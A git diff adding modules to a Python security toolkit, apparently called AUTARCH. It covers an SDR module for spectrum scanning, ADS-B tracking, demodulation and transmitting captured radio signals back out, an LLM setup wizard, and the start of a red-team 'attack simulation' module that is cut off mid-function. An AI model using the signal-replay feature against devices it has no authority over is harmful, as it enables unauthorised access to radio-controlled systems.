min(len(i_samples), 4096) + fft_input = [complex(i_samples[k], q_samples[k]) for k in range(n)] + # Manual DFT for small N, or use simple approximation + bandwidth_estimate = 'N/A (requires numpy for FFT)' + + # Try modulation type guess based on signal characteristics + # AM: magnitude varies, phase relatively stable + # FM: magnitude relatively stable, phase varies + mag_variance = sum((m - avg_mag) ** 2 for m in magnitudes) / len(magnitudes) + mag_std = math.sqrt(mag_variance) + mag_cv = mag_std / (avg_mag + 1e-10) # coefficient of variation + + if mag_cv < 0.15: + mod_guess = 'FM (constant envelope)' + elif mag_cv > 0.5: + mod_guess = 'AM or OOK (high amplitude variation)' + else: + mod_guess = 'Mixed / Unknown' + + # Recording metadata from our store + meta = {} + for m in self._metadata: + if Path(m.get('file', '')).name == fpath.name: + meta = m + break + + return { + 'file': fpath.name, + 'file_size': size, + 'file_size_human': self._human_size(size), + 'total_samples': size // 2, + 'analyzed_samples': len(magnitudes), + 'power': { + 'average_db': avg_power_db, + 'peak_db': peak_power_db, + 'dynamic_range_db': round(peak_power_db - avg_power_db, 2), + }, + 'magnitude': { + 'average': round(avg_mag, 4), + 'max': round(max_mag, 4), + 'min': round(min_mag, 4), + 'std_dev': round(mag_std, 4), + }, + 'duty_cycle_pct': duty_cycle, + 'modulation_guess': mod_guess, + 'bandwidth_estimate': bandwidth_estimate, + 'frequency': meta.get('frequency', 'Unknown'), + 'sample_rate': meta.get('sample_rate', 'Unknown'), + 'device': meta.get('device', 'Unknown'), + } + except Exception as e: + return {'error': f'Analysis failed: {e}'} + + # ── Common Frequencies ─────────────────────────────────────────────────── + + def get_common_frequencies(self) -> Dict[str, Any]: + """Return the common frequencies reference dictionary.""" + return COMMON_FREQUENCIES + + # ── Status ─────────────────────────────────────────────────────────────── + + def get_status(self) -> Dict[str, Any]: + """Get current SDR status: device info, active capture, ADS-B state, drone detection.""" + capturing = self.is_capturing() + adsb_running = self._adsb_running + + status = { + 'capturing': capturing, + 'capture_info': self._capture_info if capturing else None, + 'adsb_running': adsb_running, + 'adsb_aircraft_count': len(self._adsb_aircraft), + 'drone_detecting': self.is_drone_detecting(), + 'drone_detection_count': len(self._drone_detections), + 'recordings_count': len(self.list_recordings()), + 'recordings_dir': str(self._recordings_dir), + } + return status + + # ── Helpers ────────────────────────────────────────────────────────────── + + def _resolve_recording(self, file_path: str) -> Optional[Path]: + """Resolve a recording file path, checking recordings dir.""" + fpath = Path(file_path) + if fpath.exists(): + return fpath + # Try in recordings directory + fpath = self._recordings_dir / file_path + if fpath.exists(): + return fpath + # Try just filename + fpath = self._recordings_dir / Path(file_path).name + if fpath.exists(): + return fpath + return None + + @staticmethod + def _human_size(nbytes: int) -> str: + """Convert bytes to human-readable size string.""" + for unit in ('B', 'KB', 'MB', 'GB'): + if abs(nbytes) < 1024: + return f'{nbytes:.1f} {unit}' + nbytes /= 1024 + return f'{nbytes:.1f} TB' + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_sdr_tools() -> SDRTools: + global _instance + if _instance is None: + _instance = SDRTools() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for SDR/RF Tools module.""" + import sys + sys.path.insert(0, str(Path(__file__).parent.parent)) + from core.banner import Colors, clear_screen, display_banner + + sdr = get_sdr_tools() + + while True: + clear_screen() + display_banner() + print(f"\n{Colors.CYAN}=== SDR / RF Tools ==={Colors.RESET}\n") + print(f" {Colors.GREEN}1{Colors.RESET}) Detect Devices") + print(f" {Colors.GREEN}2{Colors.RESET}) Spectrum Scan") + print(f" {Colors.GREEN}3{Colors.RESET}) Capture Signal") + print(f" {Colors.GREEN}4{Colors.RESET}) Replay Signal") + print(f" {Colors.GREEN}5{Colors.RESET}) ADS-B Track") + print(f" {Colors.GREEN}6{Colors.RESET}) FM Demod") + print(f" {Colors.GREEN}7{Colors.RESET}) AM Demod") + print(f" {Colors.GREEN}8{Colors.RESET}) List Recordings") + print(f" {Colors.GREEN}9{Colors.RESET}) Analyze Signal") + print(f" {Colors.RED}0{Colors.RESET}) Back\n") + + choice = input(f"{Colors.CYAN}Select> {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + print(f"\n{Colors.CYAN}[*] Detecting SDR devices...{Colors.RESET}") + devices = sdr.detect_devices() + if not devices: + print(f"{Colors.YELLOW}[!] No SDR devices found{Colors.RESET}") + else: + for d in devices: + status_color = Colors.GREEN if d['status'] == 'available' else Colors.YELLOW + print(f" {status_color}[{d['status']}]{Colors.RESET} {d['type']}: {d.get('name', 'Unknown')} (SN: {d.get('serial', 'N/A')})") + if d.get('capabilities'): + print(f" Capabilities: {', '.join(d['capabilities'])}") + if d.get('note'): + print(f" {Colors.YELLOW}{d['note']}{Colors.RESET}") + + elif choice == '2': + try: + dev = input(" Device (rtl/hackrf) [rtl]: ").strip() or 'rtl' + f_start = input(" Start frequency MHz [88]: ").strip() or '88' + f_end = input(" End frequency MHz [108]: ").strip() or '108' + dur = input(" Duration seconds [5]: ").strip() or '5' + print(f"\n{Colors.CYAN}[*] Scanning spectrum {f_start}-{f_end} MHz...{Colors.RESET}") + result = sdr.scan_spectrum( + device=dev, + freq_start=int(float(f_start) * 1000000), + freq_end=int(float(f_end) * 1000000), + duration=int(dur) + ) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + points = result.get('data', []) + print(f"{Colors.GREEN}[+] Collected {len(points)} data points{Colors.RESET}") + # Show top 10 strongest signals + top = sorted(points, key=lambda p: p['power_db'], reverse=True)[:10] + if top: + print(f"\n {'Frequency':>15s} {'Power (dB)':>10s}") + print(f" {'-'*15} {'-'*10}") + for p in top: + freq_str = f"{p['freq']/1e6:.3f} MHz" + print(f" {freq_str:>15s} {p['power_db']:>10.1f}") + except (ValueError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW}[!] Cancelled{Colors.RESET}") + + elif choice == '3': + try: + dev = input(" Device (rtl/hackrf) [rtl]: ").strip() or 'rtl' + freq = input(" Frequency MHz [100.0]: ").strip() or '100.0' + dur = input(" Duration seconds [10]: ").strip() or '10' + print(f"\n{Colors.CYAN}[*] Capturing at {freq} MHz for {dur}s...{Colors.RESET}") + result = sdr.start_capture( + device=dev, + frequency=int(float(freq) * 1000000), + duration=int(dur) + ) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"{Colors.GREEN}[+] Capturing to: {result.get('file')}{Colors.RESET}") + print(f" Press Enter to wait for completion...") + input() + except (ValueError, KeyboardInterrupt): + sdr.stop_capture() + print(f"\n{Colors.YELLOW}[!] Capture stopped{Colors.RESET}") + + elif choice == '4': + recordings = sdr.list_recordings() + if not recordings: + print(f"\n{Colors.YELLOW}[!] No recordings found{Colors.RESET}") + else: + print(f"\n Recordings:") + for i, r in enumerate(recordings): + print(f" {i+1}) {r.get('filename', 'unknown')} ({r.get('size_human', '?')})") + try: + idx = int(input(f"\n Select recording [1-{len(recordings)}]: ").strip()) - 1 + rec = recordings[idx] + freq = input(f" TX Frequency MHz [{rec.get('frequency', 100000000)/1e6:.3f}]: ").strip() + if not freq: + freq = str(rec.get('frequency', 100000000) / 1e6) + print(f"\n{Colors.CYAN}[*] Replaying {rec.get('filename')} at {freq} MHz...{Colors.RESET}") + result = sdr.replay_signal( + rec.get('file', rec.get('filename', '')), + frequency=int(float(freq) * 1000000) + ) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"{Colors.GREEN}[+] {result.get('message', 'Done')}{Colors.RESET}") + except (ValueError, IndexError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW}[!] Cancelled{Colors.RESET}") + + elif choice == '5': + if sdr._adsb_running: + print(f"\n{Colors.CYAN}[*] ADS-B is running. Showing aircraft...{Colors.RESET}") + aircraft = sdr.get_adsb_aircraft() + if not aircraft: + print(f"{Colors.YELLOW} No aircraft detected yet{Colors.RESET}") + else: + print(f"\n {'ICAO':>8s} {'Callsign':>10s} {'Alt(ft)':>8s} {'Spd(kn)':>8s} {'Hdg':>5s} {'Msgs':>5s}") + print(f" {'-'*8} {'-'*10} {'-'*8} {'-'*8} {'-'*5} {'-'*5}") + for ac in aircraft[:20]: + alt = str(ac.get('altitude', '')) if ac.get('altitude') is not None else '--' + spd = str(ac.get('speed', '')) if ac.get('speed') is not None else '--' + hdg = str(ac.get('heading', '')) if ac.get('heading') is not None else '--' + print(f" {ac['icao']:>8s} {ac.get('callsign', ''):>10s} {alt:>8s} {spd:>8s} {hdg:>5s} {ac.get('messages', 0):>5d}") + + stop = input(f"\n Stop tracking? [y/N]: ").strip().lower() + if stop == 'y': + result = sdr.stop_adsb() + print(f"{Colors.GREEN}[+] {result.get('message', 'Stopped')}{Colors.RESET}") + else: + dev = input(" Device (rtl) [rtl]: ").strip() or 'rtl' + print(f"\n{Colors.CYAN}[*] Starting ADS-B tracking...{Colors.RESET}") + result = sdr.start_adsb(device=dev) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"{Colors.GREEN}[+] {result.get('message', 'Started')}{Colors.RESET}") + + elif choice == '6': + recordings = sdr.list_recordings() + if not recordings: + print(f"\n{Colors.YELLOW}[!] No recordings found{Colors.RESET}") + else: + print(f"\n Recordings:") + for i, r in enumerate(recordings): + print(f" {i+1}) {r.get('filename', 'unknown')} ({r.get('size_human', '?')})") + try: + idx = int(input(f"\n Select recording [1-{len(recordings)}]: ").strip()) - 1 + rec = recordings[idx] + print(f"\n{Colors.CYAN}[*] FM demodulating {rec.get('filename')}...{Colors.RESET}") + result = sdr.demodulate_fm(rec.get('file', rec.get('filename', ''))) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"{Colors.GREEN}[+] Output: {result.get('filename')}{Colors.RESET}") + print(f" Duration: {result.get('duration', 0):.2f}s, Samples: {result.get('samples', 0)}") + except (ValueError, IndexError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW}[!] Cancelled{Colors.RESET}") + + elif choice == '7': + recordings = sdr.list_recordings() + if not recordings: + print(f"\n{Colors.YELLOW}[!] No recordings found{Colors.RESET}") + else: + print(f"\n Recordings:") + for i, r in enumerate(recordings): + print(f" {i+1}) {r.get('filename', 'unknown')} ({r.get('size_human', '?')})") + try: + idx = int(input(f"\n Select recording [1-{len(recordings)}]: ").strip()) - 1 + rec = recordings[idx] + print(f"\n{Colors.CYAN}[*] AM demodulating {rec.get('filename')}...{Colors.RESET}") + result = sdr.demodulate_am(rec.get('file', rec.get('filename', ''))) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"{Colors.GREEN}[+] Output: {result.get('filename')}{Colors.RESET}") + print(f" Duration: {result.get('duration', 0):.2f}s, Samples: {result.get('samples', 0)}") + except (ValueError, IndexError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW}[!] Cancelled{Colors.RESET}") + + elif choice == '8': + recordings = sdr.list_recordings() + if not recordings: + print(f"\n{Colors.YELLOW}[!] No recordings found{Colors.RESET}") + else: + print(f"\n {'#':>3s} {'Filename':>30s} {'Freq':>12s} {'Size':>10s} {'Device':>8s} {'Date':>20s}") + print(f" {'-'*3} {'-'*30} {'-'*12} {'-'*10} {'-'*8} {'-'*20}") + for i, r in enumerate(recordings): + freq = r.get('frequency', 0) + freq_str = f"{freq/1e6:.3f} MHz" if freq else 'N/A' + date_str = r.get('completed', '')[:19] if r.get('completed') else 'N/A' + print(f" {i+1:>3d} {r.get('filename', 'unknown'):>30s} {freq_str:>12s} {r.get('size_human', '?'):>10s} {r.get('device', '?'):>8s} {date_str:>20s}") + + elif choice == '9': + recordings = sdr.list_recordings() + if not recordings: + print(f"\n{Colors.YELLOW}[!] No recordings found{Colors.RESET}") + else: + print(f"\n Recordings:") + for i, r in enumerate(recordings): + print(f" {i+1}) {r.get('filename', 'unknown')} ({r.get('size_human', '?')})") + try: + idx = int(input(f"\n Select recording [1-{len(recordings)}]: ").strip()) - 1 + rec = recordings[idx] + print(f"\n{Colors.CYAN}[*] Analyzing {rec.get('filename')}...{Colors.RESET}") + result = sdr.analyze_signal(rec.get('file', rec.get('filename', ''))) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"\n {Colors.GREEN}Signal Analysis:{Colors.RESET}") + print(f" File: {result.get('file', 'unknown')}") + print(f" Size: {result.get('file_size_human', '?')}") + print(f" Samples: {result.get('total_samples', 0):,}") + pwr = result.get('power', {}) + print(f" Avg Power: {pwr.get('average_db', '?')} dB") + print(f" Peak Power: {pwr.get('peak_db', '?')} dB") + print(f" Dynamic Range: {pwr.get('dynamic_range_db', '?')} dB") + print(f" Duty Cycle: {result.get('duty_cycle_pct', '?')}%") + print(f" Modulation: {result.get('modulation_guess', '?')}") + except (ValueError, IndexError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW}[!] Cancelled{Colors.RESET}") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") diff --git a/modules/setup.py b/modules/setup.py new file mode 100644 index 0000000..297e0f4 --- /dev/null +++ b/modules/setup.py @@ -0,0 +1,558 @@ +""" +AUTARCH Setup Module +First-time configuration wizard for LLM settings +Supports GGUF (llama.cpp) and SafeTensors (transformers) models +""" + +import os +import sys +from pathlib import Path + +# Add parent directory to path for imports +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.config import get_config +from core.banner import Colors, clear_screen, display_banner + + +class SetupWizard: + """Interactive setup wizard for AUTARCH configuration.""" + + def __init__(self): + self.config = get_config() + + def print_header(self, text: str): + """Print a formatted section header.""" + print(f"\n{Colors.CYAN}{Colors.BOLD}[*] {text}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}") + + def print_info(self, text: str): + """Print info message.""" + print(f"{Colors.GREEN} {text}{Colors.RESET}") + + def print_warning(self, text: str): + """Print warning message.""" + print(f"{Colors.YELLOW}[!] {text}{Colors.RESET}") + + def print_error(self, text: str): + """Print error message.""" + print(f"{Colors.RED}[X] {text}{Colors.RESET}") + + def get_input(self, prompt: str, default: str = None) -> str: + """Get user input with optional default value. + + Args: + prompt: The prompt to display + default: Default value if user presses enter + + Returns: + User input or default value + """ + if default: + prompt_text = f"{Colors.WHITE} {prompt} [{Colors.YELLOW}{default}{Colors.WHITE}]: {Colors.RESET}" + else: + prompt_text = f"{Colors.WHITE} {prompt}: {Colors.RESET}" + + try: + value = input(prompt_text).strip() + return value if value else default + except (EOFError, KeyboardInterrupt): + print() + return default + + def get_int_input(self, prompt: str, default: int, min_val: int = None, max_val: int = None) -> int: + """Get integer input with validation. + + Args: + prompt: The prompt to display + default: Default value + min_val: Minimum allowed value + max_val: Maximum allowed value + + Returns: + Validated integer value + """ + while True: + value = self.get_input(prompt, str(default)) + try: + int_val = int(value) + if min_val is not None and int_val < min_val: + self.print_error(f"Value must be at least {min_val}") + continue + if max_val is not None and int_val > max_val: + self.print_error(f"Value must be at most {max_val}") + continue + return int_val + except ValueError: + self.print_error("Please enter a valid number") + + def get_float_input(self, prompt: str, default: float, min_val: float = None, max_val: float = None) -> float: + """Get float input with validation.""" + while True: + value = self.get_input(prompt, str(default)) + try: + float_val = float(value) + if min_val is not None and float_val < min_val: + self.print_error(f"Value must be at least {min_val}") + continue + if max_val is not None and float_val > max_val: + self.print_error(f"Value must be at most {max_val}") + continue + return float_val + except ValueError: + self.print_error("Please enter a valid number") + + def validate_model_path(self, path: str) -> tuple: + """Validate that a model file or directory exists. + + Args: + path: Path to the model file or directory + + Returns: + Tuple of (is_valid, model_type) where model_type is 'gguf', 'transformers', or None + """ + if not path: + return False, None + + path = Path(os.path.expanduser(path)) + + try: + if not path.exists(): + return False, None + except (PermissionError, OSError): + return False, None + + # Check for GGUF file + if path.is_file(): + if path.suffix.lower() == '.gguf': + return True, 'gguf' + # Check magic bytes for GGUF without extension + try: + with open(path, 'rb') as f: + magic = f.read(4) + if magic == b'GGUF': + return True, 'gguf' + except Exception: + pass + # Could still be a valid file for llama.cpp + return True, 'gguf' + + # Check for safetensors/transformers directory + if path.is_dir(): + # Check for safetensors files + safetensor_files = list(path.glob("*.safetensors")) + index_file = path / "model.safetensors.index.json" + config_file = path / "config.json" + + if safetensor_files or index_file.exists(): + return True, 'transformers' + + # Check for pytorch bin files (also transformers format) + bin_files = list(path.glob("*.bin")) + if config_file.exists() and (bin_files or (path / "pytorch_model.bin").exists()): + return True, 'transformers' + + # Directory exists but no recognized model format + if config_file.exists(): + return True, 'transformers' + + return False, None + + def validate_model_path_legacy(self, path: str) -> bool: + """Legacy validation - just checks if file exists. + + Args: + path: Path to the model file + + Returns: + True if valid, False otherwise + """ + if not path: + return False + path = os.path.expanduser(path) + return os.path.isfile(path) or os.path.isdir(path) + + def _is_huggingface_id(self, path: str) -> bool: + """Check if the path looks like a HuggingFace model ID. + + HuggingFace model IDs are in format 'org/model-name' or 'username/model-name'. + + Args: + path: The path/ID to check + + Returns: + True if it looks like a HuggingFace model ID + """ + if not path: + return False + # Must contain exactly one '/' and not start with '/' + # Also should not contain path separators like '\' or multiple '/' + if path.startswith('/') or path.startswith('\\'): + return False + parts = path.split('/') + if len(parts) == 2 and all(p and not p.startswith('.') for p in parts): + # Looks like org/model-name format + return True + return False + + def resolve_model_path(self, path: str) -> str: + """Resolve a model path, trying multiple variations. + + Args: + path: User-provided path (may be relative or have variations) + + Returns: + Resolved absolute path if found, None otherwise + """ + from core.paths import get_app_dir + framework_dir = get_app_dir() + + # List of paths to try + paths_to_try = [ + Path(path), # As-is + Path(path).expanduser(), # Expand ~ + framework_dir / path.lstrip('/'), # Relative to framework dir + framework_dir / path, # Relative without stripping / + ] + + # Handle /dh_framework/... pattern (missing /home/user prefix) + if path.startswith('/dh_framework'): + paths_to_try.append(framework_dir / path[len('/dh_framework/'):]) + if path.startswith('dh_framework'): + paths_to_try.append(framework_dir / path[len('dh_framework/'):]) + + # Also try models/ subdirectory + model_name = Path(path).name + paths_to_try.append(framework_dir / 'models' / model_name) + + for p in paths_to_try: + try: + if p.exists(): + return str(p.resolve()) + except (PermissionError, OSError): + continue + + return None + + def skip_setup(self) -> bool: + """Skip setup and mark as complete without LLM configuration. + + Returns: + True always (setup skipped successfully) + """ + clear_screen() + display_banner() + + self.print_header("Setup Skipped") + print(f"\n{Colors.WHITE} AUTARCH will run without LLM features.{Colors.RESET}") + print(f"{Colors.DIM} The following modules will still work:{Colors.RESET}") + print(f"{Colors.GREEN} - defender (Defense){Colors.RESET}") + print(f"{Colors.GREEN} - counter (Counter){Colors.RESET}") + print(f"{Colors.GREEN} - analyze (Analyze){Colors.RESET}") + print(f"{Colors.GREEN} - recon (OSINT){Colors.RESET}") + print(f"{Colors.GREEN} - adultscan (OSINT){Colors.RESET}") + print(f"{Colors.GREEN} - simulate (Simulate){Colors.RESET}") + print(f"{Colors.GREEN} - msf (Offense){Colors.RESET}") + print() + print(f"{Colors.YELLOW} LLM-dependent modules (chat, agent) will not work{Colors.RESET}") + print(f"{Colors.YELLOW} until you configure a model with --setup{Colors.RESET}") + print() + + self.config.mark_setup_complete() + self.print_info(f"Configuration saved to: {self.config.config_path}") + + print(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + try: + input() + except (EOFError, KeyboardInterrupt): + pass + + return True + + def run(self, allow_skip: bool = True) -> bool: + """Run the setup wizard. + + Args: + allow_skip: Whether to show the skip option + + Returns: + True if setup completed successfully, False if cancelled + """ + clear_screen() + display_banner() + + self.print_header("AUTARCH First-Time Setup") + print(f"\n{Colors.WHITE} Welcome to AUTARCH! This wizard will help you configure") + print(f" the LLM settings for your system.{Colors.RESET}\n") + + # Offer skip option + if allow_skip: + print(f"{Colors.DIM} Many modules work without an LLM (OSINT, forensics, etc.){Colors.RESET}") + print() + print(f" {Colors.GREEN}[1]{Colors.RESET} Configure LLM (for chat & agent features)") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Skip setup (use without LLM)") + print() + + choice = self.get_input("Select option", "1") + if choice == "2": + return self.skip_setup() + + # Model Path Configuration + self.print_header("Model Configuration") + self.print_info("AUTARCH supports two model formats:") + print(f" {Colors.CYAN}GGUF{Colors.RESET} - Single file models for llama.cpp (recommended for CPU)") + print(f" {Colors.CYAN}SafeTensors{Colors.RESET} - HuggingFace models for transformers (GPU optimized)") + print() + self.print_info("Enter a local path OR a HuggingFace model ID.") + self.print_info("Examples:") + print(f" {Colors.DIM}GGUF: /home/user/models/llama-7b.gguf{Colors.RESET}") + print(f" {Colors.DIM}SafeTensors: /home/user/models/Lily-Cybersecurity-7B{Colors.RESET}") + print(f" {Colors.DIM}HuggingFace ID: segolilylabs/Lily-Cybersecurity-7B-v0.2{Colors.RESET}") + + model_type = None + while True: + # Get current configured path for default + current_gguf = self.config.get('llama', 'model_path', '') + current_transformers = self.config.get('transformers', 'model_path', '') + default_path = current_gguf or current_transformers or '' + + model_path = self.get_input("Model path", default_path if default_path else None) + if model_path: + # Strip quotes that users might accidentally include + model_path = model_path.strip().strip('"').strip("'") + model_path = os.path.expanduser(model_path) + + # Try to resolve the path (handles relative paths, /dh_framework/... etc.) + resolved_path = self.resolve_model_path(model_path) + if resolved_path: + model_path = resolved_path + + is_valid, detected_type = self.validate_model_path(model_path) + if is_valid and detected_type: + model_type = detected_type + if model_type == 'gguf': + self.config.set('llama', 'model_path', model_path) + self.config.set('autarch', 'llm_backend', 'local') + self.print_info(f"GGUF model found: {os.path.basename(model_path)}") + else: # transformers + self.config.set('transformers', 'model_path', model_path) + self.config.set('autarch', 'llm_backend', 'transformers') + self.print_info(f"SafeTensors model found: {os.path.basename(model_path)}") + break + elif self._is_huggingface_id(model_path): + # Looks like a HuggingFace model ID (e.g., 'org/model-name') + model_type = 'transformers' + self.config.set('transformers', 'model_path', model_path) + self.config.set('autarch', 'llm_backend', 'transformers') + self.print_info(f"HuggingFace model ID: {model_path}") + self.print_info("Model will be downloaded/loaded from HuggingFace cache") + break + else: + self.print_error("Model not found or unrecognized format.") + self.print_info("For GGUF: provide path to .gguf file") + self.print_info("For SafeTensors: provide path to model directory") + self.print_info("For HuggingFace: use format 'org/model-name'") + retry = self.get_input("Try again? (y/n)", "y") + if retry.lower() != 'y': + self.print_warning("Setup cancelled - no model configured") + return False + else: + self.print_warning("No model path provided") + skip = self.get_input("Continue without model? (y/n)", "n") + if skip.lower() == 'y': + break + continue + + # Backend-specific configuration + if model_type == 'gguf': + # GGUF/llama.cpp specific settings + self.print_header("Context Settings (llama.cpp)") + self.print_info("Configure the context window and threading.") + + n_ctx = self.get_int_input( + "Context size (tokens)", + self.config.get_int('llama', 'n_ctx', 4096), + min_val=512, + max_val=131072 + ) + self.config.set('llama', 'n_ctx', n_ctx) + + n_threads = self.get_int_input( + "Number of CPU threads", + self.config.get_int('llama', 'n_threads', 4), + min_val=1, + max_val=256 + ) + self.config.set('llama', 'n_threads', n_threads) + + # GPU Configuration + self.print_header("GPU Configuration") + self.print_info("Set the number of layers to offload to GPU.") + self.print_info("Set to 0 for CPU-only, or higher for GPU acceleration.") + + n_gpu_layers = self.get_int_input( + "GPU layers (0 for CPU only)", + self.config.get_int('llama', 'n_gpu_layers', 0), + min_val=0 + ) + self.config.set('llama', 'n_gpu_layers', n_gpu_layers) + + # Generation Settings + self.print_header("Generation Settings") + self.print_info("Configure text generation parameters.") + + temperature = self.get_float_input( + "Temperature (creativity)", + self.config.get_float('llama', 'temperature', 0.7), + min_val=0.0, + max_val=2.0 + ) + self.config.set('llama', 'temperature', temperature) + + top_p = self.get_float_input( + "Top P (nucleus sampling)", + self.config.get_float('llama', 'top_p', 0.9), + min_val=0.0, + max_val=1.0 + ) + self.config.set('llama', 'top_p', top_p) + + top_k = self.get_int_input( + "Top K", + self.config.get_int('llama', 'top_k', 40), + min_val=0 + ) + self.config.set('llama', 'top_k', top_k) + + repeat_penalty = self.get_float_input( + "Repeat penalty", + self.config.get_float('llama', 'repeat_penalty', 1.1), + min_val=0.0, + max_val=2.0 + ) + self.config.set('llama', 'repeat_penalty', repeat_penalty) + + max_tokens = self.get_int_input( + "Max tokens per response", + self.config.get_int('llama', 'max_tokens', 2048), + min_val=1, + max_val=32768 + ) + self.config.set('llama', 'max_tokens', max_tokens) + + elif model_type == 'transformers': + # Transformers/SafeTensors specific settings + self.print_header("Device Configuration (transformers)") + self.print_info("Configure hardware settings for model loading.") + + print(f" {Colors.DIM}Device options: auto, cuda, cpu, mps{Colors.RESET}") + device = self.get_input( + "Device", + self.config.get('transformers', 'device', 'auto') + ) + self.config.set('transformers', 'device', device) + + # Quantization options + self.print_header("Quantization (Memory Optimization)") + self.print_info("Quantization reduces memory usage at the cost of some quality.") + print(f" {Colors.DIM}Requires bitsandbytes package for 8-bit/4-bit{Colors.RESET}") + + print(f"\n {Colors.GREEN}[1]{Colors.RESET} No quantization (full precision)") + print(f" {Colors.GREEN}[2]{Colors.RESET} 8-bit quantization (half memory)") + print(f" {Colors.GREEN}[3]{Colors.RESET} 4-bit quantization (quarter memory)") + + quant_choice = self.get_input("Quantization option", "1") + if quant_choice == "2": + self.config.set('transformers', 'load_in_8bit', 'true') + self.config.set('transformers', 'load_in_4bit', 'false') + elif quant_choice == "3": + self.config.set('transformers', 'load_in_8bit', 'false') + self.config.set('transformers', 'load_in_4bit', 'true') + else: + self.config.set('transformers', 'load_in_8bit', 'false') + self.config.set('transformers', 'load_in_4bit', 'false') + + # Generation Settings + self.print_header("Generation Settings") + self.print_info("Configure text generation parameters.") + + temperature = self.get_float_input( + "Temperature (creativity)", + self.config.get_float('transformers', 'temperature', 0.7), + min_val=0.0, + max_val=2.0 + ) + self.config.set('transformers', 'temperature', temperature) + + top_p = self.get_float_input( + "Top P (nucleus sampling)", + self.config.get_float('transformers', 'top_p', 0.9), + min_val=0.0, + max_val=1.0 + ) + self.config.set('transformers', 'top_p', top_p) + + top_k = self.get_int_input( + "Top K", + self.config.get_int('transformers', 'top_k', 40), + min_val=0 + ) + self.config.set('transformers', 'top_k', top_k) + + repeat_penalty = self.get_float_input( + "Repetition penalty", + self.config.get_float('transformers', 'repetition_penalty', 1.1), + min_val=0.0, + max_val=2.0 + ) + self.config.set('transformers', 'repetition_penalty', repeat_penalty) + + max_tokens = self.get_int_input( + "Max tokens per response", + self.config.get_int('transformers', 'max_tokens', 2048), + min_val=1, + max_val=32768 + ) + self.config.set('transformers', 'max_tokens', max_tokens) + + # Save configuration + self.print_header("Saving Configuration") + self.config.mark_setup_complete() + self.print_info(f"Configuration saved to: {self.config.config_path}") + + # Summary + self.print_header("Setup Complete") + print(f"\n{Colors.GREEN} AUTARCH has been configured with the following settings:{Colors.RESET}\n") + + if model_type == 'gguf': + print(f" {Colors.YELLOW}Backend: llama.cpp (GGUF){Colors.RESET}\n") + settings = self.config.get_llama_settings() + elif model_type == 'transformers': + print(f" {Colors.YELLOW}Backend: transformers (SafeTensors){Colors.RESET}\n") + settings = self.config.get_transformers_settings() + else: + print(f" {Colors.YELLOW}No model configured{Colors.RESET}\n") + settings = {} + + for key, value in settings.items(): + if key == 'model_path' and value: + value = os.path.basename(value) + print(f" {Colors.CYAN}{key:20}{Colors.RESET}: {value}") + + print(f"\n{Colors.WHITE} Press Enter to continue to the main menu...{Colors.RESET}") + try: + input() + except (EOFError, KeyboardInterrupt): + pass + + return True + + +def run(): + """Module entry point.""" + wizard = SetupWizard() + return wizard.run() + + +if __name__ == "__main__": + run() diff --git a/modules/simulate.py b/modules/simulate.py new file mode 100644 index 0000000..b921d17 --- /dev/null +++ b/modules/simulate.py @@ -0,0 +1,652 @@ +""" +AUTARCH Simulate Module +Attack simulation and security testing + +Red team exercises and controlled attack simulations. +""" + +import os +import sys +import subprocess +import socket +import hashlib +import random +import string +import time +import ftplib +import base64 +import urllib.request +from pathlib import Path +from datetime import datetime + +# Module metadata +DESCRIPTION = "Attack simulation & red team tools" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "simulate" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +class Simulator: + """Attack simulation tools.""" + + def __init__(self): + pass + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def run_cmd(self, cmd: str, timeout: int = 60) -> tuple: + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except: + return False, "" + + def password_audit(self): + """Audit password strength and check common passwords.""" + print(f"\n{Colors.BOLD}Password Audit{Colors.RESET}") + print(f"{Colors.DIM}Test password strength against common patterns{Colors.RESET}\n") + + password = input(f"{Colors.WHITE}Enter password to test: {Colors.RESET}") + if not password: + return + + print(f"\n{Colors.CYAN}Analyzing password...{Colors.RESET}\n") + + score = 0 + feedback = [] + + # Length check + if len(password) >= 16: + score += 3 + feedback.append(f"{Colors.GREEN}+ Excellent length (16+){Colors.RESET}") + elif len(password) >= 12: + score += 2 + feedback.append(f"{Colors.GREEN}+ Good length (12+){Colors.RESET}") + elif len(password) >= 8: + score += 1 + feedback.append(f"{Colors.YELLOW}~ Minimum length (8+){Colors.RESET}") + else: + feedback.append(f"{Colors.RED}- Too short (<8){Colors.RESET}") + + # Character diversity + has_upper = any(c.isupper() for c in password) + has_lower = any(c.islower() for c in password) + has_digit = any(c.isdigit() for c in password) + has_special = any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password) + + if has_upper: + score += 1 + 